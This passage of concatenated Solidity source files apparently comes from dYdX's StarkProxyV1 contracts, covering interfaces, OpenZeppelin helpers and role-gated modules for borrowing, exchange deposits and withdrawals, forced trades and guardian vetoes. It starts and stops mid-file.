https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title ILiquidityStakingV1 * @author dYdX * * @notice Partial interface for LiquidityStakingV1. */ interface ILiquidityStakingV1 { function getToken() external view virtual returns (address); function getBorrowedBalance(address borrower) external view virtual returns (uint256); function getBorrowerDebtBalance(address borrower) external view virtual returns (uint256); function isBorrowingRestrictedForBorrower(address borrower) external view virtual returns (bool); function getTimeRemainingInEpoch() external view virtual returns (uint256); function inBlackoutWindow() external view virtual returns (bool); // LS1Borrowing function borrow(uint256 amount) external virtual; function repayBorrow(address borrower, uint256 amount) external virtual; function getAllocatedBalanceCurrentEpoch(address borrower) external view virtual returns (uint256); function getAllocatedBalanceNextEpoch(address borrower) external view virtual returns (uint256); function getBorrowableAmount(address borrower) external view virtual returns (uint256); // LS1DebtAccounting function repayDebt(address borrower, uint256 amount) external virtual; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title IMerkleDistributorV1 * @author dYdX * * @notice Partial interface for the MerkleDistributorV1 contract. */ interface IMerkleDistributorV1 { function getIpnsName() external virtual view returns (string memory); function getRewardsParameters() external virtual view returns (uint256, uint256, uint256); function getActiveRoot() external virtual view returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid); function getNextRootEpoch() external virtual view returns (uint256); function claimRewards( uint256 cumulativeAmount, bytes32[] calldata merkleProof ) external returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title IStarkPerpetual * @author dYdX * * @notice Partial interface for the StarkPerpetual contract, for accessing the dYdX L2 exchange. * @dev See https://github.com/starkware-libs/starkex-contracts */ interface IStarkPerpetual { function registerUser( address ethKey, uint256 starkKey, bytes calldata signature ) external; function deposit( uint256 starkKey, uint256 assetType, uint256 vaultId, uint256 quantizedAmount ) external; function withdraw(uint256 starkKey, uint256 assetType) external; function forcedWithdrawalRequest( uint256 starkKey, uint256 vaultId, uint256 quantizedAmount, bool premiumCost ) external; function forcedTradeRequest( uint256 starkKeyA, uint256 starkKeyB, uint256 vaultIdA, uint256 vaultIdB, uint256 collateralAssetId, uint256 syntheticAssetId, uint256 amountCollateral, uint256 amountSynthetic, bool aIsBuyingSynthetic, uint256 submissionExpirationTime, uint256 nonce, bytes calldata signature, bool premiumCost ) external; function mainAcceptGovernance() external; function proxyAcceptGovernance() external; function mainRemoveGovernor(address governorForRemoval) external; function proxyRemoveGovernor(address governorForRemoval) external; function registerAssetConfigurationChange(uint256 assetId, bytes32 configHash) external; function applyAssetConfigurationChange(uint256 assetId, bytes32 configHash) external; function registerGlobalConfigurationChange(bytes32 configHash) external; function applyGlobalConfigurationChange(bytes32 configHash) external; function getEthKey(uint256 starkKey) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import { IERC20 } from '../../interfaces/IERC20.sol'; import { SafeMath } from './SafeMath.sol'; import { Address } from './Address.sol'; /** * @title SafeERC20 * @dev From https://github.com/OpenZeppelin/openzeppelin-contracts * Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { IMerkleDistributorV1 } from '../../../interfaces/IMerkleDistributorV1.sol'; import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol'; import { SP1Exchange } from './SP1Exchange.sol'; /** * @title SP1Withdrawals * @author dYdX * * @dev Actions which may be called only by WITHDRAWAL_OPERATOR_ROLE. Allows for withdrawing * funds from the contract to external addresses that were approved by OWNER_ROLE. */ abstract contract SP1Withdrawals is SP1Exchange { using SafeERC20 for IERC20; using SafeMath for uint256; // ============ Constants ============ IMerkleDistributorV1 public immutable MERKLE_DISTRIBUTOR; // ============ Events ============ event ExternalWithdrewToken( address recipient, uint256 amount ); event ExternalWithdrewOtherToken( address token, address recipient, uint256 amount ); event ExternalWithdrewEther( address recipient, uint256 amount ); // ============ Constructor ============ constructor( IMerkleDistributorV1 merkleDistributor ) { MERKLE_DISTRIBUTOR = merkleDistributor; } // ============ External Functions ============ /** * @notice Claim rewards from the Merkle distributor. They will be held in this contract until * withdrawn by the WITHDRAWAL_OPERATOR_ROLE. * * @param cumulativeAmount The total all-time rewards this contract has earned. * @param merkleProof The Merkle proof for this contract address and cumulative amount. * * @return The amount of new reward received. */ function claimRewardsFromMerkleDistributor( uint256 cumulativeAmount, bytes32[] calldata merkleProof ) external nonReentrant onlyRole(WITHDRAWAL_OPERATOR_ROLE) returns (uint256) { return MERKLE_DISTRIBUTOR.claimRewards(cumulativeAmount, merkleProof); } /** * @notice Withdraw a token amount in excess of the borrowed balance, or an amount approved by * the GUARDIAN_ROLE. * * The contract may hold an excess balance if, for example, additional funds were added by the * contract owner for use with the same exchange account, or if profits were earned from * activity on the exchange. * * @param recipient The recipient to receive tokens. Must be authorized by OWNER_ROLE. */ function externalWithdrawToken( address recipient, uint256 amount ) external nonReentrant onlyRole(WITHDRAWAL_OPERATOR_ROLE) onlyAllowedRecipient(recipient) { // If we are approved for the full amount, then skip the borrowed balance check. uint256 approvedAmount = _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_; if (approvedAmount >= amount) { _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = approvedAmount.sub(amount); } else { uint256 owedBalance = getBorrowedAndDebtBalance(); uint256 tokenBalance = getTokenBalance(); require(tokenBalance > owedBalance, 'SP1Withdrawals: No withdrawable balance'); uint256 availableBalance = tokenBalance.sub(owedBalance); require(amount <= availableBalance, 'SP1Withdrawals: Amount exceeds withdrawable balance'); // Always decrease the approval amount. _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = 0; } TOKEN.safeTransfer(recipient, amount); emit ExternalWithdrewToken(recipient, amount); } /** * @notice Withdraw any ERC20 token balance other than the token used for borrowing. * * @param recipient The recipient to receive tokens. Must be authorized by OWNER_ROLE. */ function externalWithdrawOtherToken( address token, address recipient, uint256 amount ) external nonReentrant onlyRole(WITHDRAWAL_OPERATOR_ROLE) onlyAllowedRecipient(recipient) { require( token != address(TOKEN), 'SP1Withdrawals: Cannot use this function to withdraw borrowed token' ); IERC20(token).safeTransfer(recipient, amount); emit ExternalWithdrewOtherToken(token, recipient, amount); } /** * @notice Withdraw any ether. * * Note: The contract is not expected to hold Ether so this is not normally needed. * * @param recipient The recipient to receive Ether. Must be authorized by OWNER_ROLE. */ function externalWithdrawEther( address recipient, uint256 amount ) external nonReentrant onlyRole(WITHDRAWAL_OPERATOR_ROLE) onlyAllowedRecipient(recipient) { payable(recipient).transfer(amount); emit ExternalWithdrewEther(recipient, amount); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { ILiquidityStakingV1 } from '../../../interfaces/ILiquidityStakingV1.sol'; import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol'; import { SP1Borrowing } from './SP1Borrowing.sol'; import { SP1Exchange } from './SP1Exchange.sol'; /** * @title SP1Guardian * @author dYdX * * @dev Defines guardian powers, to be owned or delegated by dYdX governance. */ abstract contract SP1Guardian is SP1Borrowing, SP1Exchange { using SafeMath for uint256; // ============ Events ============ event BorrowingRestrictionChanged( bool isBorrowingRestricted ); event GuardianVetoedForcedTradeRequest( bytes32 argsHash ); event GuardianUpdateApprovedAmountForExternalWithdrawal( uint256 amount ); // ============ Constructor ============ constructor( ILiquidityStakingV1 liquidityStaking, IStarkPerpetual starkPerpetual, IERC20 token ) SP1Borrowing(liquidityStaking, token) SP1Exchange(starkPerpetual) {} // ============ External Functions ============ /** * @notice Approve an additional amount for external withdrawal by WITHDRAWAL_OPERATOR_ROLE. * * @param amount The additional amount to approve for external withdrawal. * * @return The new amount approved for external withdrawal. */ function increaseApprovedAmountForExternalWithdrawal( uint256 amount ) external nonReentrant onlyRole(GUARDIAN_ROLE) returns (uint256) { uint256 newApprovedAmount = _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_.add( amount ); _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = newApprovedAmount; emit GuardianUpdateApprovedAmountForExternalWithdrawal(newApprovedAmount); return newApprovedAmount; } /** * @notice Set the approved amount for external withdrawal to zero. * * @return The amount that was previously approved for external withdrawal. */ function resetApprovedAmountForExternalWithdrawal() external nonReentrant onlyRole(GUARDIAN_ROLE) returns (uint256) { uint256 previousApprovedAmount = _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_; _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = 0; emit GuardianUpdateApprovedAmountForExternalWithdrawal(0); return previousApprovedAmount; } /** * @notice Guardian method to restrict borrowing or depositing borrowed funds to the exchange. */ function guardianSetBorrowingRestriction( bool isBorrowingRestricted ) external nonReentrant onlyRole(GUARDIAN_ROLE) { _IS_BORROWING_RESTRICTED_ = isBorrowingRestricted; emit BorrowingRestrictionChanged(isBorrowingRestricted); } /** * @notice Guardian method to repay this contract's borrowed balance, using this contract's funds. * * @param amount Amount to repay. */ function guardianRepayBorrow( uint256 amount ) external nonReentrant onlyRole(GUARDIAN_ROLE) { _repayBorrow(amount, true); } /** * @notice Guardian method to repay a debt balance owed by the borrower. * * @param amount Amount to repay. */ function guardianRepayDebt( uint256 amount ) external nonReentrant onlyRole(GUARDIAN_ROLE) { _repayDebt(amount, true); } /** * @notice Guardian method to trigger a withdrawal. This will transfer funds from StarkPerpetual * to this contract. This requires a (slow) withdrawal from L2 to have been previously processed. * * Note: This function is intentionally not protected by the onlyAllowedKey modifier. * * @return The ERC20 token amount received by this contract. */ function guardianWithdrawFromExchange( uint256 starkKey, uint256 assetType ) external nonReentrant onlyRole(GUARDIAN_ROLE) returns (uint256) { return _withdrawFromExchange(starkKey, assetType, true); } /** * @notice Guardian method to trigger a forced withdrawal request. * Reverts if the borrower has no overdue debt. * * Note: This function is intentionally not protected by the onlyAllowedKey modifier. */ function guardianForcedWithdrawalRequest( uint256 starkKey, uint256 vaultId, uint256 quantizedAmount, bool premiumCost ) external nonReentrant onlyRole(GUARDIAN_ROLE) { require( getDebtBalance() > 0, 'SP1Guardian: Cannot call forced action if borrower has no overdue debt' ); _forcedWithdrawalRequest( starkKey, vaultId, quantizedAmount, premiumCost, true // isGuardianAction ); } /** * @notice Guardian method to trigger a forced trade request. * Reverts if the borrower has no overdue debt. * * Note: This function is intentionally not protected by the onlyAllowedKey modifier. */ function guardianForcedTradeRequest( uint256[12] calldata args, bytes calldata signature ) external nonReentrant onlyRole(GUARDIAN_ROLE) { require( getDebtBalance() > 0, 'SP1Guardian: Cannot call forced action if borrower has no overdue debt' ); _forcedTradeRequest(args, signature, true); } /** * @notice Guardian method to prevent queued forced trade requests from being executed. * * May only be called by VETO_GUARDIAN_ROLE. * * @param argsHashes An array of hashes for each forced trade request to veto. */ function guardianVetoForcedTradeRequests( bytes32[] calldata argsHashes ) external nonReentrant onlyRole(VETO_GUARDIAN_ROLE) { for (uint256 i = 0; i < argsHashes.length; i++) { bytes32 argsHash = argsHashes[i]; _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash] = 0; emit GuardianVetoedForcedTradeRequest(argsHash); } } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol'; import { SP1Borrowing } from './SP1Borrowing.sol'; import { SP1Exchange } from './SP1Exchange.sol'; /** * @title SP1Owner * @author dYdX * * @dev Actions which may be called only by OWNER_ROLE. These include actions with a larger amount * of control over the funds held by the contract. */ abstract contract SP1Owner is SP1Borrowing, SP1Exchange { using SafeERC20 for IERC20; using SafeMath for uint256; // ============ Constants ============ /// @notice Time that must elapse before a queued forced trade request can be submitted. uint256 public constant FORCED_TRADE_WAITING_PERIOD = 7 days; /// @notice Max time that may elapse after the waiting period before a queued forced trade /// request expires. uint256 public constant FORCED_TRADE_GRACE_PERIOD = 7 days; // ============ Events ============ event UpdatedStarkKey( uint256 starkKey, bool isAllowed ); event UpdatedExternalRecipient( address recipient, bool isAllowed ); event QueuedForcedTradeRequest( uint256[12] args, bytes32 argsHash ); // ============ External Functions ============ /** * @notice Allow exchange functions to be called for a particular STARK key. * * Will revert if the STARK key is not registered to this contract's address on the * StarkPerpetual contract. * * @param starkKey The STARK key to allow. */ function allowStarkKey( uint256 starkKey ) external nonReentrant onlyRole(OWNER_ROLE) { // This will revert with 'USER_UNREGISTERED' if the STARK key was not registered. address ethKey = STARK_PERPETUAL.getEthKey(starkKey); // Require the STARK key to be registered to this contract before we allow it to be used. require(ethKey == address(this), 'SP1Owner: STARK key not registered to this contract'); require(!_ALLOWED_STARK_KEYS_[starkKey], 'SP1Owner: STARK key already allowed'); _ALLOWED_STARK_KEYS_[starkKey] = true; emit UpdatedStarkKey(starkKey, true); } /** * @notice Remove a STARK key from the allowed list. * * @param starkKey The STARK key to disallow. */ function disallowStarkKey( uint256 starkKey ) external nonReentrant onlyRole(OWNER_ROLE) { require(_ALLOWED_STARK_KEYS_[starkKey], 'SP1Owner: STARK key already disallowed'); _ALLOWED_STARK_KEYS_[starkKey] = false; emit UpdatedStarkKey(starkKey, false); } /** * @notice Allow withdrawals of excess funds to be made to a particular recipient. * * @param recipient The recipient to allow. */ function allowExternalRecipient( address recipient ) external nonReentrant onlyRole(OWNER_ROLE) { require(!_ALLOWED_RECIPIENTS_[recipient], 'SP1Owner: Recipient already allowed'); _ALLOWED_RECIPIENTS_[recipient] = true; emit UpdatedExternalRecipient(recipient, true); } /** * @notice Remove a recipient from the allowed list. * * @param recipient The recipient to disallow. */ function disallowExternalRecipient( address recipient ) external nonReentrant onlyRole(OWNER_ROLE) { require(_ALLOWED_RECIPIENTS_[recipient], 'SP1Owner: Recipient already disallowed'); _ALLOWED_RECIPIENTS_[recipient] = false; emit UpdatedExternalRecipient(recipient, false); } /** * @notice Set ERC20 token allowance for the exchange contract. * * @param token The ERC20 token to set the allowance for. * @param amount The new allowance amount. */ function setExchangeContractAllowance( address token, uint256 amount ) external nonReentrant onlyRole(OWNER_ROLE) { // SafeERC20 safeApprove requires setting to zero first. IERC20(token).safeApprove(address(STARK_PERPETUAL), 0); IERC20(token).safeApprove(address(STARK_PERPETUAL), amount); } /** * @notice Set ERC20 token allowance for the staking contract. * * @param token The ERC20 token to set the allowance for. * @param amount The new allowance amount. */ function setStakingContractAllowance( address token, uint256 amount ) external nonReentrant onlyRole(OWNER_ROLE) { // SafeERC20 safeApprove requires setting to zero first. IERC20(token).safeApprove(address(LIQUIDITY_STAKING), 0); IERC20(token).safeApprove(address(LIQUIDITY_STAKING), amount); } /** * @notice Request a forced withdrawal from the exchange. * * @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE. * @param vaultId The exchange position ID for the account to deposit to. * @param quantizedAmount The withdrawal amount denominated in the exchange base units. * @param premiumCost Whether to pay a higher fee for faster inclusion in certain scenarios. */ function forcedWithdrawalRequest( uint256 starkKey, uint256 vaultId, uint256 quantizedAmount, bool premiumCost ) external nonReentrant onlyRole(OWNER_ROLE) onlyAllowedKey(starkKey) { _forcedWithdrawalRequest(starkKey, vaultId, quantizedAmount, premiumCost, false); } /** * @notice Queue a forced trade request to be submitted after the waiting period. * * @param args Arguments for the forced trade request. */ function queueForcedTradeRequest( uint256[12] calldata args ) external nonReentrant onlyRole(OWNER_ROLE) { bytes32 argsHash = keccak256(abi.encodePacked(args)); _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash] = block.timestamp; emit QueuedForcedTradeRequest(args, argsHash); } /** * @notice Submit a forced trade request that was previously queued. * * @param args Arguments for the forced trade request. * @param signature The signature of the counterparty to the trade. */ function forcedTradeRequest( uint256[12] calldata args, bytes calldata signature ) external nonReentrant onlyRole(OWNER_ROLE) onlyAllowedKey(args[0]) // starkKeyA { bytes32 argsHash = keccak256(abi.encodePacked(args)); uint256 timestamp = _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash]; require( timestamp != 0, 'SP1Owner: Forced trade not queued or was vetoed' ); uint256 elapsed = block.timestamp.sub(timestamp); require( elapsed >= FORCED_TRADE_WAITING_PERIOD, 'SP1Owner: Waiting period has not elapsed for forced trade' ); require( elapsed <= FORCED_TRADE_WAITING_PERIOD.add(FORCED_TRADE_GRACE_PERIOD), 'SP1Owner: Grace period has elapsed for forced trade' ); _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash] = 0; _forcedTradeRequest(args, signature, false); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol'; import { SP1Balances } from './SP1Balances.sol'; /** * @title SP1Exchange * @author dYdX * * @dev Handles calls to the StarkPerpetual contract, for interacting with the dYdX L2 exchange. * * Standard exchange operation is handled by EXCHANGE_OPERATOR_ROLE. The “forced” actions can only * be called by the OWNER_ROLE or GUARDIAN_ROLE. Some other functions are also callable by * the GUARDIAN_ROLE. * * See SP1Roles, SP1Guardian, SP1Owner, and SP1Withdrawals. */ abstract contract SP1Exchange is SP1Balances { using SafeMath for uint256; // ============ Constants ============ IStarkPerpetual public immutable STARK_PERPETUAL; // ============ Events ============ event DepositedToExchange( uint256 starkKey, uint256 starkAssetType, uint256 starkVaultId, uint256 tokenAmount ); event WithdrewFromExchange( uint256 starkKey, uint256 starkAssetType, uint256 tokenAmount, bool isGuardianAction ); /// @dev Limited fields included. Details can be retrieved from Starkware logs if needed. event RequestedForcedWithdrawal( uint256 starkKey, uint256 vaultId, bool isGuardianAction ); /// @dev Limited fields included. Details can be retrieved from Starkware logs if needed. event RequestedForcedTrade( uint256 starkKey, uint256 vaultId, bool isGuardianAction ); // ============ Constructor ============ constructor( IStarkPerpetual starkPerpetual ) { STARK_PERPETUAL = starkPerpetual; } // ============ External Functions ============ /** * @notice Deposit funds to the exchange. * * IMPORTANT: The caller is responsible for providing `quantizedAmount` in the right units. * Currently, the exchange collateral is USDC, denominated in ERC20 token units, but * this could change. * * @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE. * @param assetType The exchange asset ID for the asset to deposit. * @param vaultId The exchange position ID for the account to deposit to. * @param quantizedAmount The deposit amount denominated in the exchange base units. * * @return The ERC20 token amount spent. */ function depositToExchange( uint256 starkKey, uint256 assetType, uint256 vaultId, uint256 quantizedAmount ) external nonReentrant onlyRole(EXCHANGE_OPERATOR_ROLE) onlyAllowedKey(starkKey) returns (uint256) { // Deposit and get the deposited token amount. uint256 startingBalance = getTokenBalance(); STARK_PERPETUAL.deposit(starkKey, assetType, vaultId, quantizedAmount); uint256 endingBalance = getTokenBalance(); uint256 tokenAmount = startingBalance.sub(endingBalance); // Disallow depositing borrowed funds to the exchange if the guardian has restricted borrowing. if (_IS_BORROWING_RESTRICTED_) { require( endingBalance >= getBorrowedAndDebtBalance(), 'SP1Borrowing: Cannot deposit borrowed funds to the exchange while Restricted' ); } emit DepositedToExchange(starkKey, assetType, vaultId, tokenAmount); return tokenAmount; } /** * @notice Trigger a withdrawal of account funds held in the exchange contract. This can be * called after a (slow) withdrawal has already been processed by the L2 exchange. * * @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE. * @param assetType The exchange asset ID for the asset to withdraw. * * @return The ERC20 token amount received by this contract. */ function withdrawFromExchange( uint256 starkKey, uint256 assetType ) external nonReentrant onlyRole(EXCHANGE_OPERATOR_ROLE) onlyAllowedKey(starkKey) returns (uint256) { return _withdrawFromExchange(starkKey, assetType, false); } // ============ Internal Functions ============ function _withdrawFromExchange( uint256 starkKey, uint256 assetType, bool isGuardianAction ) internal returns (uint256) { uint256 startingBalance = getTokenBalance(); STARK_PERPETUAL.withdraw(starkKey, assetType); uint256 endingBalance = getTokenBalance(); uint256 tokenAmount = endingBalance.sub(startingBalance); emit WithdrewFromExchange(starkKey, assetType, tokenAmount, isGuardianAction); return tokenAmount; } function _forcedWithdrawalRequest( uint256 starkKey, uint256 vaultId, uint256 quantizedAmount, bool premiumCost, bool isGuardianAction ) internal { STARK_PERPETUAL.forcedWithdrawalRequest(starkKey, vaultId, quantizedAmount, premiumCost); emit RequestedForcedWithdrawal(starkKey, vaultId, isGuardianAction); } function _forcedTradeRequest( uint256[12] calldata args, bytes calldata signature, bool isGuardianAction ) internal { // Split into two functions to avoid error 'call stack too deep'. if (args[11] != 0) { _forcedTradeRequestPremiumCostTrue(args, signature); } else { _forcedTradeRequestPremiumCostFalse(args, signature); } emit RequestedForcedTrade( args[0], // starkKeyA args[2], // vaultIdA isGuardianAction ); } // ============ Private Functions ============ // Split into two functions to avoid error 'call stack too deep'. function _forcedTradeRequestPremiumCostTrue( uint256[12] calldata args, bytes calldata signature ) private { STARK_PERPETUAL.forcedTradeRequest( args[0], // starkKeyA args[1], // starkKeyB args[2], // vaultIdA args[3], // vaultIdB args[4], // collateralAssetId args[5], // syntheticAssetId args[6], // amountCollateral args[7], // amountSynthetic args[8] != 0, // aIsBuyingSynthetic args[9], // submissionExpirationTime args[10], // nonce signature, true // premiumCost ); } // Split into two functions to avoid error 'call stack too deep'. function _forcedTradeRequestPremiumCostFalse( uint256[12] calldata args, bytes calldata signature ) private { STARK_PERPETUAL.forcedTradeRequest( args[0], // starkKeyA args[1], // starkKeyB args[2], // vaultIdA args[3], // vaultIdB args[4], // collateralAssetId args[5], // syntheticAssetId args[6], // amountCollateral args[7], // amountSynthetic args[8] != 0, // aIsBuyingSynthetic args[9], // submissionExpirationTime args[10], // nonce signature, false // premiumCost ); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { ILiquidityStakingV1 } from '../../../interfaces/ILiquidityStakingV1.sol'; import { Math } from '../../../utils/Math.sol'; import { SP1Roles } from './SP1Roles.sol'; /** * @title SP1Balances * @author dYdX * * @dev Contains common constants and functions related to token balances. */ abstract contract SP1Balances is SP1Roles { using SafeMath for uint256; // ============ Constants ============ IERC20 public immutable TOKEN; ILiquidityStakingV1 public immutable LIQUIDITY_STAKING; // ============ Constructor ============ constructor( ILiquidityStakingV1 liquidityStaking, IERC20 token ) { LIQUIDITY_STAKING = liquidityStaking; TOKEN = token; } // ============ Public Functions ============ function getAllocatedBalanceCurrentEpoch() public view returns (uint256) { return LIQUIDITY_STAKING.getAllocatedBalanceCurrentEpoch(address(this)); } function getAllocatedBalanceNextEpoch() public view returns (uint256) { return LIQUIDITY_STAKING.getAllocatedBalanceNextEpoch(address(this)); } function getBorrowableAmount() public view returns (uint256) { if (_IS_BORROWING_RESTRICTED_) { return 0; } return LIQUIDITY_STAKING.getBorrowableAmount(address(this)); } function getBorrowedBalance() public view returns (uint256) { return LIQUIDITY_STAKING.getBorrowedBalance(address(this)); } function getDebtBalance() public view returns (uint256) { return LIQUIDITY_STAKING.getBorrowerDebtBalance(address(this)); } function getBorrowedAndDebtBalance() public view returns (uint256) { return getBorrowedBalance().add(getDebtBalance()); } function getTokenBalance() public view returns (uint256) { return TOKEN.balanceOf(address(this)); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SP1Storage } from './SP1Storage.sol'; /** * @title SP1Roles * @author dYdX * * @dev Defines roles used in the StarkProxyV1 contract. The hierarchy and powers of each role * are described below. Not all roles need to be used. * * Overview: * * During operation of this contract, funds will flow between the following three * contracts: * * LiquidityStaking <> StarkProxy <> StarkPerpetual * * Actions which move fund from left to right are called “open” actions, whereas actions which * move funds from right to left are called “close” actions. * * Also note that the “forced” actions (forced trade and forced withdrawal) require special care * since they directly impact the financial risk of positions held on the exchange. * * Roles: * * GUARDIAN_ROLE * | -> May perform “close” actions as defined above, but “forced” actions can only be taken * | if the borrower has an outstanding debt balance. * | -> May restrict “open” actions as defined above, except w.r.t. funds in excess of the * | borrowed balance. * | -> May approve a token amount to be withdrawn externally by the WITHDRAWAL_OPERATOR_ROLE * | to an allowed address. * | * +-- VETO_GUARDIAN_ROLE * -> May veto forced trade requests initiated by the owner, during the waiting period. * * OWNER_ROLE * | -> May add or remove allowed recipients who may receive excess funds. * | -> May add or remove allowed STARK keys for use on the exchange. * | -> May set ERC20 allowances on the LiquidityStakingV1 and StarkPerpetual contracts. * | -> May call the “forced” actions: forcedWithdrawalRequest and forcedTradeRequest. * | * +-- DELEGATION_ADMIN_ROLE * | * +-- BORROWER_ROLE * | -> May call functions on LiquidityStakingV1: autoPayOrBorrow, borrow, repay, * | and repayDebt. * | * +-- EXCHANGE_OPERATOR_ROLE * | -> May call functions on StarkPerpetual: depositToExchange and * | withdrawFromExchange. * | * +-- WITHDRAWAL_OPERATOR_ROLE * -> May withdraw funds in excess of the borrowed balance to an allowed recipient. */ abstract contract SP1Roles is SP1Storage { bytes32 public constant GUARDIAN_ROLE = keccak256('GUARDIAN_ROLE'); bytes32 public constant VETO_GUARDIAN_ROLE = keccak256('VETO_GUARDIAN_ROLE'); bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE'); bytes32 public constant DELEGATION_ADMIN_ROLE = keccak256('DELEGATION_ADMIN_ROLE'); bytes32 public constant BORROWER_ROLE = keccak256('BORROWER_ROLE'); bytes32 public constant EXCHANGE_OPERATOR_ROLE = keccak256('EXCHANGE_OPERATOR_ROLE'); bytes32 public constant 